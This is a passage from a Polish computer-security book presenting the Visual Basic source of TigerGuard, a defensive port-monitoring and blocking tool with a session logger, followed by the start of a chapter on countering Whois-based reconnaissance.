programem znacznie ułatwi zrozumienie celów i technik zabezpieczania portów. Jego
filozofia jest prosta — port wykorzystywany i chroniony nie może być zaatakowany.
TigerGuard pozwala użytkownikowi tworzyć, ładować i zapisywać własne listy za-
sad. W swojej bieżącej kompilacji, demon TigerGuard rejestruje próby ataku, blokuje
porty i wysyła powiadomienia.
124
Hack Wars. Tom 2. Na tropie hakerów
124
Rozpoczynając korzystanie z narzędzia załadować można standardowe listy zasad.
Domyślnym ograniczeniem ich liczby jest 500. Podstawowy moduł uzupełniają
Intrusion Sniffer i Port Session Sniffer służące do (niewidocznego) przechwytywa-
nia informacji o przeprowadzanych atakach TCP i UDP (patrz rysunek 1.40). Uwaga:
Aby uniknąć problemów przy otwieraniu gniazd, zawsze należy wyłączać badanie portu
w TigerGuard przed wywołaniem któregokolwiek z analizatorów sesji. Intrusion Sniffer
przechwytuje pojedynczą sesję, a Port Session Sniffer — wszystkie sesje jednocześnie.
Rysunek 1.40.
TigerGuard rejestruje,
blokuje i przechwytuje
dane ataków
To proste narzędzie do monitorowania i blokowania portów, powstałe dzięki pomocy Neila
Ramsbottoma i Mike’a Downa, Czytelnik wykorzystywać może i modyfikować całko-
wicie swobodnie. W dalszej części książki omówimy TigerWatch, narzędzie do monito-
rowania portów, które — w połączeniu z TigerSurf — oferuje już pełną ochronę systemu.
Oba zostały umieszczone na CD-ROM-ie i mogą być bezpłatnie wykorzystywane. Podsu-
mowując, TigerGuard pozwala dodawać do zasad ochrony pojedyncze porty; TigerWatch
chroni przed najczęściej spotykanymi koniami trojańskimi i wirusami oraz wyposażony jest w
zaawansowane opcje konfiguracyjne, pozwalające dodawać własne elementy zasad.
Należy zaznaczyć, że program TigerGuard nie został przygotowany do pracy w zastęp-
stwie przedstawianych wcześniej programów blokujących. Ma być jedynie dodatkowym
ś
rodkiem zabezpieczającym, który „uszczelni” system na wypadek ataków lokalnych
i zdalnych, w tym tych, w których zastosowano podrabianie adresu nadawcy. Do wersji na
dysku CD dołączono listę niespełna 60 zasad — powinny one wystarczyć do rozpoczęcia
korzystania z programu. Listy zasad zapisywane są w plikach
.lst
, a opcje programu
(preferencje) — w pliku
TigerGuard.ini
.
TigerGuard
' Formularz główny (Main)
Dim DaemonPort As String
Dim RxData As String
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
125
125
Dim RMN As String
Dim RIP As String
Private Sub cmdAddPort_Click()
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then
MsgBox "You can only add " & MAX_PORTS & " policies!",
vbExclamation, "Error!"
End If
frmPolicy.Show 1
End Sub
Private Sub Command1_Click()
frmSniffer.Show
End Sub
Private Sub mnuAddPolicy_Click()
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then
MsgBox "You can only add " & MAX_PORTS & " policies!",
vbExclamation, "Error!"
End If
frmPolicy.Show 1
End Sub
Private Sub cmdRemove_Click()
If lvwPortInfo.ListItems.Count <> 0 Then
lvwPortInfo.ListItems.Remove (lvwPortInfo.SelectedItem.Index)
End If
End Sub
Private Sub mnuRemovePolicy_Click()
If lvwPortInfo.ListItems.Count <> 0 Then
lvwPortInfo.ListItems.Remove (lvwPortInfo.SelectedItem.Index)
End If
End Sub
Private Sub Form_Load()
If DOESINIEXIST = False Then
MsgBox "The TigerGuard.INI file is missing. Please reload the
applcation.",
vbExclamation, "Error"
Unload Me
End
End If
LoadINISettings
RefreshDisplay
End Sub
Public Sub RefreshDisplay()
lblMaxPorts = "Maximum Policies Allowed: " & MAX_PORTS
With lvwPortInfo
.ColumnHeaders(1).Width = 2000
.ColumnHeaders(2).Width = 700
.ColumnHeaders(3).Width = 1400
.ColumnHeaders(5).Width = 1700
.ColumnHeaders(6).Width = 800
End With
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As
Integer)
If UnloadMode = 0 Then
End If
End Sub
126
Hack Wars. Tom 2. Na tropie hakerów
126
Private Sub Form_Unload(Cancel As Integer)
If lvwPortInfo.ListItems.Count = 0 Then
Else
For i = 1 To lvwPortInfo.ListItems.Count
If lvwPortInfo.ListItems(i).Checked = True Then
sckData(i).Close
Unload sckData(i)
End If
Next i
End If
End Sub
Private Sub lvwPortInfo_Click()
Dim intCurrIndex As Integer
If lvwPortInfo.ListItems.Count = 0 Then Exit Sub
intCurrIndex = lvwPortInfo.SelectedItem.Index + 1
End Sub
Private Sub lvwPortInfo_ItemCheck(ByVal Item As MSComctlLib.ListItem)
Dim intCurrIndex As Integer
intCurrIndex = Item.Index
If Item.Checked = True Then
Load sckData(intCurrIndex)
sckData(intCurrIndex).LocalPort = Item.SubItems(1)
On Error GoTo err
sckData(intCurrIndex).listen
Item.SubItems(3) = "Enabled"
Else
sckData(intCurrIndex).Close
Unload sckData(intCurrIndex)
Item.SubItems(3) = "Disabled"
End If
Exit Sub
err:
lvwPortInfo.ListItems(intCurrIndex).SubItems(3) = "(" &
err.Number & ") Error!"
lvwPortInfo.ListItems(intCurrIndex).Checked = False
sckData(intCurrIndex).Close
Unload sckData(intCurrIndex)
End Sub
Private Sub mnuAboutDownload_Click()
ShellExecute Me.hwnd, "open", UPDATE_ADDRESS, "", "", 1
End Sub
Private Sub mnuAboutWebsite_Click()
ShellExecute Me.hwnd, "open", WEBSITE_ADDRESS, "", "", 1
End Sub
Private Sub mnuFileExit_Click()
Unload Me
End
End Sub
Private Sub mnuFileLoadList_Click()
Dim CDLG As New CommonDialog
Dim strFilename As String
CDLG.Filter = "Policy List Files (*.lst)|*.lst" & Chr(0)
strFilename = CDLG.GetFileOpenName
If Trim(strFilename) = Chr(0) Then Exit Sub
LoadPortList strFilename
ValidateList
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
127
127
End Sub
Sub ValidateList()
Dim strTmpText1 As String
Dim strTmpText2 As String
If lvwPortInfo.ListItems.Count <> 0 Then
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then
GoTo bad_list
Else
For i = 1 To lvwPortInfo.ListItems.Count
strTmpText1 = lvwPortInfo.ListItems(i).SubItems(1)
For x = i + 1 To lvwPortInfo.ListItems.Count
If lvwPortInfo.ListItems(x).SubItems(1) = strTmpText1
Then
GoTo bad_list
End If
Next x
Next i
End If
End If
Exit Sub
bad_list:
MsgBox "Policy List Corruption." & CR & CR & "This file cannot be
loaded!",
vbExclamation, "Error!"
lvwPortInfo.ListItems.Clear
End Sub
Private Sub mnuFileOptions_Click()
frmNotify.Show 1
End Sub
Private Sub mnuFileSaveList_Click()
If lvwPortInfo.ListItems.Count <> 0 Then
Dim CDLG As New CommonDialog
Dim strFilename As String
CDLG.Filter = "Policy List Files (*.lst)|*.lst" & Chr(0)
strFilename = CDLG.GetFileSaveName
If Trim(strFilename) = Chr(0) Then Exit Sub
If Right(strFilename, 4) <> ".lst" Then
strFilename = strFilename & ".lst"
End If
SavePortList strFilename
End If
End Sub
Sub SavePortList(strFilename As String)
Dim TmpVal As PORTENTRY
If Dir(strFilename) <> "" Then
If MsgBox("Overwrite " & strFilename & "?", vbExclamation +
vbOKCancel,
"Confirm") = vbOK Then
Kill strFilename
Else
Exit Sub
End If
End If
For i = 1 To lvwPortInfo.ListItems.Count
TmpVal.PORTNAME = lvwPortInfo.ListItems(i).Text
TmpVal.PORTNUMBER = lvwPortInfo.ListItems(i).SubItems(1)
Open strFilename For Random As #1 Len = Len(TmpVal)
If LOF(1) = 0 Then
128
Hack Wars. Tom 2. Na tropie hakerów
128
Put #1, 1, TmpVal
Else
Put #1, LOF(1) / Len(TmpVal) + 1, TmpVal
End If
Close #1
Next i
End Sub
Sub LoadPortList(strFilename As String)
Dim TmpVal As PORTENTRY
lvwPortInfo.ListItems.Clear
Open strFilename For Random As #1 Len = Len(TmpVal)
For i = 1 To LOF(1) / Len(TmpVal)
Get #1, i, TmpVal
lvwPortInfo.ListItems.Add , , Trim(TmpVal.PORTNAME)
With
frmMain.lvwPortInfo.ListItems(frmMain.lvwPortInfo.ListItems.Count)
.SubItems(1) = Trim(TmpVal.PORTNUMBER)
.SubItems(3) = "Disabled"
.SubItems(4) = "Never"
.SubItems(5) = "0"
End With
Next i
Close #1
End Sub
Private Sub sckData_ConnectionRequest(Index As Integer, ByVal
requestID As Long)
Dim intIndex As Integer
intIndex = Index
If chkAntiFlood.Value = vbChecked Then
If lvwPortInfo.ListItems(intIndex).SubItems(5) = ANTI_FLOOD_COUNT
Then
Select Case ANTI_FLOOD_ACTION
Case 1
GoTo listen
Case 2
sckData(intIndex).Close
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Denial
of Service
Warning!"
Case Else
End Select
End If
End If
sckData(intIndex).Close
sckData(intIndex).Accept requestID
If BEEPONCONNECT = "1" Then
Beep
End If
lvwPortInfo.ListItems(intIndex).SubItems(2) =
sckData(intIndex).RemoteHostIP
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Connecting!"
lvwPortInfo.ListItems(intIndex).SubItems(4) = Format$(Time, "h:m:s")
& " " &
∑
Format$(Date, "dd/mm/yyyy")
lvwPortInfo.ListItems(intIndex).SubItems(5) =
lvwPortInfo.ListItems(Index).SubItems(5) + 1
listen:
sckData(intIndex).Close
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
129
129
On Error GoTo err
sckData(intIndex).listen
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Enabled"
Exit Sub
err:
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Error!"
lvwPortInfo.ListItems(intIndex).Checked = False
End Sub
Private Sub lstn_Click()
wsk.Close
DaemonPort = InputBox$("Please enter the Port to monitor:")
If DaemonPort = "" Then Exit Sub
For i = 1 To Len(DaemonPort)
If Asc(Right$(DaemonPort, i)) < 48 Or Asc(Right$(DaemonPort, i))
> 57 Then
MsgBox "Please enter in a valid Port number."
DaemonPort = ""
Exit Sub
End If
Next i
wsk.LocalPort = DaemonPort
wsk.listen
Text1.Text = Text1.Text & "Your IP: " & wsk.LocalIP & " Daemon Port:
" & DaemonPort
∑
& vbCrLf
End Sub
Private Sub Rset_Click()
wsk.Close
wsk.listen
Text1.Text = Text1.Text & "Daemon Reset" & vbCrLf
End Sub
Private Sub stp_Click()
wsk.Close
Text1.Text = Text1.Text & "Daemon Stoped Listening." & vbCrLf
End Sub
Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
If Len(Text1.Text) > 47775 Then
Text1.Text = ""
End If
End Sub
Private Sub wsk_Close()
wsk.Close
wsk.listen
Text1.Text = Text1.Text & "Remote Intruder Logged Off, Daemon Reset."
& vbCrLf
End Sub
Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
If wsk.State <> sckClosed Then wsk.Close
wsk.Accept requestID
RMN = DNS.AddressToName(wsk.RemoteHostIP)
RIP = wsk.RemoteHostIP
Label1.Caption = RMN
RMN = Label1.Caption
130
Hack Wars. Tom 2. Na tropie hakerów
130
Text1.Text = Text1.Text & "Remote Intruder Logged On: " & RMN & "(" &
RIP & ")" &
∑
vbCrLf
End Sub
Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
wsk.GetData RxData
Text1.Text = Text1.Text & RxData
End Sub
Private Sub wsk_Error(ByVal Number As Integer, Description As String,
ByVal Scode
∑
As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
HelpContext
∑
As Long, CancelDisplay As Boolean)
wsk.Close
If DaemonPort <> "" Then
wsk.LocalPort = DaemonPort
wsk.listen
End If
Text1.Text = Text1.Text & "Winsock Error: " & Number & ": " &
Description & vbCrLf
Text1.Text = Text1.Text & "Daemon was reset." & vbCrLf
End Sub
' Opcje programu (preferencje)
Private Sub chkBeep_Click()
Dim strINIFILE As String
strINIFILE = APPPATH & INIFILE
If chkBeep.Value = vbChecked Then
WriteINI strINIFILE, "GENERAL", "BEEP", "1"
Else
WriteINI strINIFILE, "GENERAL", "BEEP", "0"
End If
End Sub
Private Sub cmdCancel_Click()
Unload Me
End Sub
Private Sub cmdOk_Click()
ANTI_FLOOD_COUNT = txtConnectTimes
SaveINISettings
Unload Me
End Sub
Private Sub Form_Load()
Me.Icon = frmMain.Icon
txtConnectTimes = ANTI_FLOOD_COUNT
Select Case ANTI_FLOOD_ACTION
Case 1
optResetPort.Value = True
Case 2
optShutPort.Value = True
Case Else
End Select
End Sub
Private Sub optResetPort_Click()
ANTI_FLOOD_ACTION = 1
End Sub
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
131
131
Private Sub optShutPort_Click()
ANTI_FLOOD_ACTION = 2
End Sub
' Tworzenie zasad
Private Sub Cancel_Click()
Unload Me
End Sub
Private Sub cmdOk_Click()
If txtPortNumber <> "" Then
If IsNumeric(txtPortNumber) = True Then
If txtPortNumber >= 1 Then
If PortExists = False Then
If txtPortName = "" Then
frmMain.lvwPortInfo.ListItems.Add , ,
txtPortNumber
Else
frmMain.lvwPortInfo.ListItems.Add , ,
txtPortName
End If
With
frmMain.lvwPortInfo.ListItems(frmMain.lvwPortInfo.ListItems.Count)
.SubItems(1) = txtPortNumber
.SubItems(3) = "Disabled"
.SubItems(4) = "Never"
.SubItems(5) = "0"
End With
Else
Exit Sub
End If
Else
GoTo bad_port
End If
Else
GoTo bad_port
End If
Else
GoTo bad_port
End If
Unload Me
Exit Sub
bad_port:
MsgBox "You must enter a valid port number to continue!",
vbExclamation, "Error!"
End Sub
Function PortExists() As Boolean
Dim i As Integer
For i = 1 To frmMain.lvwPortInfo.ListItems.Count
If frmMain.lvwPortInfo.ListItems(i).SubItems(1) = txtPortNumber
Then
MsgBox "That port is already guarded!", vbExclamation,
"Error!"
PortExists = True
Exit Function
End If
Next i
PortExists = False
End Function
Private Sub Form_Load()
132
Hack Wars. Tom 2. Na tropie hakerów
132
Me.Icon = frmMain.Icon
End Sub
Private Sub txtPortName_GotFocus()
txtPortName.SelStart = 0
txtPortName.SelLength = Len(txtPortName)
End Sub
Private Sub txtPortNumber_GotFocus()
txtPortNumber.SelStart = 0
txtPortNumber.SelLength = Len(txtPortNumber)
End Sub
' Analizator wtargni
ę
cia
Private Sub cmdListen_Click()
Select Case cmdListen.Caption
Case Is = "Listen"
If opTCP.Value Then
Inet.Protocol = sckTCPProtocol
Inet2.Protocol = sckTCPProtocol
Inet.LocalPort = CInt(txtLocalPort.Text)
Inet.RemoteHost = txtRemoteIP.Text
Inet.RemotePort = CInt(txtRemotePort.Text)
txtLocalPort.Enabled = False
txtRemoteIP.Enabled = False
txtRemotePort.Enabled = False
cmdListen.Caption = "Reset"
Inet.Close
Inet.listen
log "I>Capturing TCP traffic on " & Inet.LocalIP & ":" &
Inet.LocalPort
Else
Inet.Close
Inet2.Close
Inet.Protocol = sckUDPProtocol
Inet2.Protocol = sckUDPProtocol
Inet.LocalPort = CInt(txtLocalPort.Text)
Inet2.RemoteHost = txtRemoteIP.Text
Inet2.RemotePort = CInt(txtRemotePort.Text)
txtLocalPort.Enabled = False
txtRemoteIP.Enabled = False
txtRemotePort.Enabled = False
cmdListen.Caption = "Reset"
Inet.Bind CInt(txtLocalPort.Text)
log "I>Capturing UDP traffic on " & Inet.LocalIP & ":" &
Inet.LocalPort
End If
Case Is = "Reset"
Inet.Close
txtLocalPort.Enabled = True
txtRemoteIP.Enabled = True
txtRemotePort.Enabled = True
cmdListen.Caption = "Listen"
End Select
End Sub
Private Sub Command1_Click()
txtLog.Text = ""
End Sub
Private Sub Form_Load()
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
133
133
txtLocalIP.Text = Inet.LocalIP
End Sub
Private Sub Form_Resize()
If Not Me.WindowState = vbMinimized Then
txtLog.Width = Me.ScaleWidth
txtLog.Height = Me.Height - 850
End If
End Sub
Private Sub Inet_Close()
log "I>INET EVENT: CLOSED CONNECTION"
Inet2.Close
cmdListen_Click
cmdListen_Click
End Sub
Private Sub Inet_Connect()
log "I>INET EVENT: CONNECT"
End Sub
Private Sub Inet_ConnectionRequest(ByVal requestID As Long)
log "I>INET EVENT: CONNECTION REQUEST [ " & requestID & " ]"
If Inet.State <> sckClosed Then Inet.Close
log "I>CONNECTING 0 TO " & txtRemoteIP.Text & ":" &
CInt(txtRemotePort.Text)
Inet2.Close
Inet2.Connect txtRemoteIP.Text, CInt(txtRemotePort.Text)
Do Until Inet2.State = sckConnected
DoEvents
Loop
Inet.Accept requestID
End Sub
Private Sub Inet_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim bData() As Byte
If opTCP.Value Then
Inet.PeekData sData, vbString
Inet.GetData bData(), vbArray + vbByte
Inet2.SendData bData()
Else
Inet.GetData sData
Inet2.SendData sData
End If
log "I>" & sData
Exit Sub
erred:
Inet.Close
Inet2.Close
cmdListen_Click
cmdListen_Click
End Sub
Private Sub Inet_Error(ByVal Number As Integer, Description As
String, ByVal Scode
As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
HelpContext
∑
As Long, CancelDisplay As Boolean)
log "I>INET ERROR: " & Number & " = " & Description
End Sub
Public Sub log(Text As String)
On Error GoTo erred
134
Hack Wars. Tom 2. Na tropie hakerów
134
txtLog.Text = txtLog.Text & Text & vbCrLf
txtLog.SelStart = Len(txtLog.Text)
Exit Sub
erred:
txtLog.Text = ""
txtLog.Text = txtLog.Text & Text & vbCrLf
txtLog.SelStart = Len(txtLog.Text)
End Sub
Private Sub Inet2_Close()
log "0>INET EVENT: CLOSED CONNECTION"
Inet.Close
cmdListen_Click
cmdListen_Click
End Sub
Private Sub Inet2_DataArrival(ByVal bytesTotal As Long)
On Error GoTo erred
Dim sData As String
Dim bData2() As Byte
If opTCP.Value Then
Inet2.PeekData sData, vbString
Inet2.GetData bData2(), vbArray + vbByte
Inet.SendData bData2()
Else
Inet2.GetData sData
Inet.SendData sData
End If
log "O>" & sData
Exit Sub
erred:
Inet.Close
Inet2.Close
cmdListen_Click
cmdListen_Click
End Sub
Private Sub Inet2_Error(ByVal Number As Integer, Description As
String, ByVal Scode
As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
HelpContext As
Long, CancelDisplay As Boolean)
log "O>INET ERROR: " & Number & " = " & Description
End Sub
Private Sub txtLocalPort_Change()
txtRemotePort.Text = txtLocalPort.Text
End Sub
' Moduł wspólny
Public Declare Function ShellExecute Lib "shell32.dll" Alias
"ShellExecuteA" (ByVal
hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String,
ByVal
lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As
Long) As Long
Public Const INIFILE = "TIGERGUARD.INI"
Public Const CR = vbCrLf
Public MAX_PORTS As Integer
Public ANTI_FLOOD_COUNT As Integer
Public ANTI_FLOOD_ACTION As Integer
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
135
135
Public BEEPONCONNECT As String * 1
Public Type PORTENTRY
PORTNAME As String * 255
PORTNUMBER As Long
End Type
Public Function APPPATH() As String
If Right(App.Path, 1) <> "\" Then
APPPATH = App.Path & "\"
Else
APPPATH = App.Path
End If
End Function
Public Function DOESINIEXIST() As Boolean
If Dir(APPPATH & INIFILE) = "" Then
DOESINIEXIST = False
Else
DOESINIEXIST = True
End If
End Function
Public Sub LoadINISettings()
Dim strTempVal As String
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "MAXPORTS")
If strTempVal <> "" Then
If IsNumeric(strTempVal) = True Then
If strTempVal >= 1 Then
MAX_PORTS = strTempVal
GoTo INIVAL2
Else
GoTo bad_max_port
End If
GoTo bad_max_port
End If
GoTo bad_max_port
End If
INIVAL2:
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "ANTIFLOODCOUNT")
If strTempVal <> "" Then
If IsNumeric(strTempVal) = True Then
If strTempVal >= 1 Then
ANTI_FLOOD_COUNT = strTempVal
GoTo INIVAL3
Else
GoTo bad_flood_count
End If
GoTo bad_flood_count
End If
GoTo bad_flood_count
End If
INIVAL3:
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "ANTIFLOODACTION")
If strTempVal <> "" Then
If IsNumeric(strTempVal) = True Then
If strTempVal >= 1 Then
ANTI_FLOOD_ACTION = strTempVal
Exit Sub
Else
GoTo bad_flood_count
End If
136
Hack Wars. Tom 2. Na tropie hakerów
136
GoTo bad_flood_count
End If
GoTo bad_flood_count
End If
BEEPONCONNECT = ReadINI(APPPATH & INIFILE, "GENERAL", "BEEP")
Exit Sub
bad_max_port:
MsgBox "Invalid Maximum Policies entry in INI file. Please re-
install." & CR &
CR & "Using Default of 40", vbExclamation, "Error!"
MAX_PORTS = 40
Exit Sub
bad_flood_count:
MsgBox "Invalid Denial of Service in INI file. Please re-
install." & CR & CR &
"Using Default of 100", vbExclamation, "Error!"
ANTI_FLOOD_COUNT = 100
Exit Sub
bad_flood_action:
MsgBox "Invalid Denial of Service entry in INI file. Please re-
install." & CR &
CR & "Using default (Reset Port)", vbExclamation, "Error!"
ANTI_FLOOD_ACTION = 1
Exit Sub
End Sub
Public Sub SaveINISettings()
Dim strINIFILE As String
Dim strTmpVal As String
strINIFILE = APPPATH & INIFILE
strTmpVal = MAX_PORTS
WriteINI strINIFILE, "GENERAL", "MAXPORTS", strTmpVal
strTmpVal = ANTI_FLOOD_ACTION
WriteINI strINIFILE, "GENERAL", "AntiFloodAction", strTmpVal
strTmpVal = ANTI_FLOOD_COUNT
WriteINI strINIFILE, "GENERAL", "AntiFloodCount", strTmpVal
If frmMain.chkAntiFlood.Value = vbChecked Then
WriteINI strINIFILE, "GENERAL", "AntiFloodEnable", "1"
Else
WriteINI strINIFILE, "GENERAL", "AntiFloodEnable", "0"
End If
End Sub
' Zarz
ą
dzane plikiem INI
Declare Function WritePrivateProfileString Lib "kernel32" Alias
"WritePrivateProfileStringA" (ByVal lpApplicationName As String,
ByVal lpKeyName
As Any, ByVal lpString As Any, ByVal lpFileName As String) As
Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias
"GetPrivateProfileStringA" (ByVal lpApplicationName As String,
ByVal lpKeyName As
Any, ByVal lpDefault As String, ByVal lpReturnedString As String,
ByVal nSize
As Long, ByVal lpFileName As String) As Long
Public Ret As String
Public Sub WriteINI(FileName As String, Section As String, Key As
String, Text As
∑
String)
WritePrivateProfileString Section, Key, Text, FileName
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
137
137
End Sub
Public Function ReadINI(FileName As String, Section As String, Key As
String)
Ret = Space$(255)
RetLen = GetPrivateProfileString(Section, Key, "", Ret, Len(Ret),
FileName)
Ret = Left$(Ret, RetLen)
ReadINI = Ret
End Function
' Wspólne okna dialogowe
Private Declare Function GetSaveFileName Lib "comdlg32.dll" Alias
"GetSaveFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Filename As OPENFILENAME
Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Public Property Let DefaultExtension(Extention As String)
Filename.lpstrDefExt = Extention
End Property
Public Property Get DefaultExtension() As String
DefaultExtension = Filename.lpstrDefExt
End Property
Public Property Let ObjectOwner(Objet As Object)
Filename.hwndOwner = Objet.hwnd
End Property
Public Property Let Filter(CustomFilter As String)
Dim intCount As Integer
Filename.lpstrFilter = ""
For intCount = 1 To Len(CustomFilter)
If Mid(CustomFilter, intCount, 1) = "|" Then
Filename.lpstrFilter =
Filename.lpstrFilter + Chr(0) Else Filename.lpstrFilter =
Filename.lpstrFilter + Mid(CustomFilter, intCount, 1)
Next intCount
Filename.lpstrFilter = Filename.lpstrFilter + Chr(0)
138
Hack Wars. Tom 2. Na tropie hakerów
138
End Property
Public Property Let WindowTitle(Title As String)
Filename.lpstrTitle = Title
End Property
Public Property Get WindowTitle() As String
WindowTitle = Filename.lpstrTitle
End Property
Public Property Let InitialDirectory(InitDir As String)
Filename.lpstrInitialDir = InitDir
End Property
Public Property Let DefaultFilename(strFilename As String)
Filename.lpstrFileTitle = strFilename
End Property
Public Property Get DefaultFilename() As String
DefaultFilename = Filename.lpstrFileTitle
End Property
Public Property Get InitialDirectory() As String
InitialDirectory = Filename.lpstrInitialDir
End Property
Public Function GetFileOpenName(Optional Multiselect As Boolean =
False) As String
Filename.hInstance = App.hInstance
Filename.hwndOwner = hwnd
Filename.lpstrFile = Chr(0) & Space(259)
Filename.lpstrFileTitle = Filename.lpstrFileTitle
Filename.nMaxFile = 260
If Multiselect Then Filename.flags = &H80000 Or &H4 Or &H200 Else
∑
Filename.flags = &H80000 Or &H4
Filename.lStructSize = Len(Filename)
GetOpenFileName Filename
GetFileOpenName = Filename.lpstrFile
End Function
Public Function GetFileSaveName() As String
Filename.hInstance = App.hInstance
Filename.hwndOwner = hwnd
Filename.lpstrFile = Chr(0) & Space(259)
Filename.nMaxFile = 260
Filename.flags = &H80000 Or &H4
Filename.lStructSize = Len(Filename)
GetSaveFileName Filename
GetFileSaveName = Filename.lpstrFile
End Function
Public Function Count() As Integer
Dim intCount As Integer
For intCount = 1 To Trim(Len(Filename.lpstrFile))
If Mid(Trim(Filename.lpstrFile), intCount, 1) = Chr(0) Then
Count = Count + 1
Next intCount
Count = Count - 2
If Count < 1 Then Count = Count + 1
End Function
Public Function GetMultiFilename(Filenumber As Integer) As String
Dim intCount As Integer
Dim intOne As Integer
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
139
139
Dim intFile As Integer
Dim intNext As Integer
intOne = InStr(1, Trim(Filename.lpstrFile), Chr(0))
intFile = 1
For intCount = 1 To Filenumber
intFile = InStr(intFile + 1, Trim(Filename.lpstrFile),
Chr(0))
Next intCount
intNext = InStr(intFile + 1, Trim(Filename.lpstrFile), Chr(0))
GetMultiFilename = IIf(Right(Mid(Trim(Filename.lpstrFile), 1,
intOne - 1), 1) =
"\", Mid(Trim(Filename.lpstrFile), 1, intOne - 1),
Mid(Trim(Filename.lpstrFile), 1, intOne - 1) + "\") +
Mid(Trim(Filename.lpstrFile), intFile + 1, intNext - intFile -
1)
If Right(GetMultiFilename, 1) = "\" Then GetMultiFilename =
Left(GetMultiFilename, Len(GetMultiFilename) - 1)
End Function
Przeciwdziałanie
gromadzeniu informacji
Jak już to wyjaśniliśmy w pierwszym tomie tej książki, Hack wars. Na tropie hakerów,
zaplanowane poważne próby włamania wymagają pewnej wiedzy o sieci będącej celem
ataku. Badanie jest pierwszym krokiem w planowanym ataku na zdalną lub lokalną
sieć (jak pamiętasz, zdalny atak hakera jest definiowany jako atak z zewnątrz sieci
docelowej przy użyciu protokołu komunikacyjnego poprzez medium komunikacyjne).
W czasie fazy badania zdalnego ataku te informacje są niezbędne do tworzenia strategii
ataku, co obejmuje wybór najlepszych środków działania pozwalających na penetrację.
Ten rozdział omawia sposoby przeciwdziałania różnym próbom badania, takim jak
użycie narzędzia Whois, zbieranie informacji z witryny internetowej, a także inżynieria
społeczna. Aby to zademonstrować, odwiedzimy ponownie fikcyjną firmę o nazwie
XYZ, która pojawiła się w pierwszym tomie tej książki.
Informacje Whois
Osoba atakująca używa usługi Whois do odnalezienia internetowej nazwy domeny
sieciowej firmy, będącej celem ataku. Jak pamiętasz, nazwa domeny jest adresem
urządzenia przyłączonego do Internetu lub dowolnej innej sieci TCP/IP, która używa
słów do identyfikacji serwerów (organizacje i podobne); taki adres ma formę www.nazwa-
firmy.com. Usługa Whois umożliwia hakerowi uzyskanie takich informacji, jak adres
URL danej firmy, a nawet nazwy użytkownika, który ma konto w tej domenie.
Bardzo ważna jest identyfikacja miejsc, z których mogą wyciec potencjalnie niebez-
pieczne informacje odnoszące się do domeny. Poniżej znajduje się lista adresów
serwerów, które udostępniają usługę Whois:
www.networksolutions.com/cgi-bin/whois/whois — dla Ameryki Północnej,
www.ripe.net — dla Europy,
www.apnic.net — dla Azji i Pacyfiku,
140
Hack Wars. Tom 2. Na tropie hakerów
140
www.dns.pl/cgi-bin/whois.pl — dla Polski.
W pierwszym tomie tej książki, Hack wars. Na tropie hakerów, uzyskaliśmy następujące
informacje dotyczące firmy XYZ: adres, kontakt do administratora, kontakt w spra-
wach technicznych, kontakt w sprawach rozliczeń oraz adresy DNS. Dzięki temu
zdobyliśmy podstawy do dalszych poszukiwań, a nawet do ataku.
Aby zamknąć „dziurę” otwartą poprzez użycie Whois, należy umówić się z dostawcą
Internetu w celu modyfikacji informacji o domenie. Dostawcy usług internetowych
(Internet service providers — ISP) oferują obsługę domen za niewielką kwotę i taka
zmiana nie powoduje kłopotów. Pierwszym krokiem jest odnalezienie dobrego dostawcy
Internetu, który oferuje również niezbędną ochronę przed atakami przeciwko DNS-om.
Sprawdź również, czy dostawca gwarantuje dostępność Internetu zgodną z polityką
wewnętrzną Twojej firmy. Niektórzy dostawcy zapewniają 99-procentową dostępność
wraz z najlepszą tolerancją błędów oraz automatycznym przełączaniem infrastruk-
tury w przypadku powstania awarii. Dobry dostawca jest również połączony bezpo-
ś
rednio z siecią szkieletową, co oznacza krótszy czas dostępu. Wielu dostawców jest
tylko pośrednikami sprzedającymi usługi większych firm, przez co zwiększa się odległość
do sieci szkieletowej Internetu. W pierwszym tomie tej książki opisaliśmy sposób użycia
usługi traceroute do sprawdzenia i przetestowania dostawcy Internetu. Mniejsza odległość
do Internetu oznacza również mniejszą ilość sprzętu, o jaki należy się martwić w przy-
padku ataku hakerów, awarii, zaplanowanego wyłączenia i innych sytuacji.
Po podpisaniu umowy z dobrym dostawcą Internetu musisz zmodyfikować informacje
